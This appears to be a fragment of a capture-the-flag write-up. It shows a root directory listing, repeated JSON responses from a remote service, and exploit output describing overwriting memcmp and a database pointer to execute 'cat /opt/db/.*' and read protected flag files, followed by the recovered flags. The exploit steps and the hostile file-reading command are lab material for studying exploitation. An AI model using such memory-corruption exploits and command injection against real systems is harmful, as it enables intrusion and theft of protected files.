drwxr-xr-x 1 root root 4096 Jan 15 16:19 ..
-r-------- 1 root root 31 Nov 29 14:56 .flag.pwn
---------- 1 root root 56 Dec 18 21:59 .flag.unexpected
-rw------- 1 root root 198 Dec 18 09:44 base
w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
cat /opt/db/.*
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"Stack addr: 0x7fffffffeaa8[+] Overwrite memcmp with malloc [+] Overwrite db pointer [+] Execute commandcat /opt/db/.* > /tmp/output;# @þÿÿÿÿÿÿp0` w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"Error on socket connect w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"flag{twistl0ck_fin4l_fl4g_!!!} flag{!!!Well_this_is_was_honestly_not_expeted_grats!!!} w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
{"success":true,"response":"w?#eIgb9iEwIMkPgbroGh!s)Sg=w/6i5@@Lg?wBL \n"}
And there it is, the hidden flag flag{!!!Well_this_is_was_honestly_not_expeted_grats!!!}
, which gave us 0xffff
.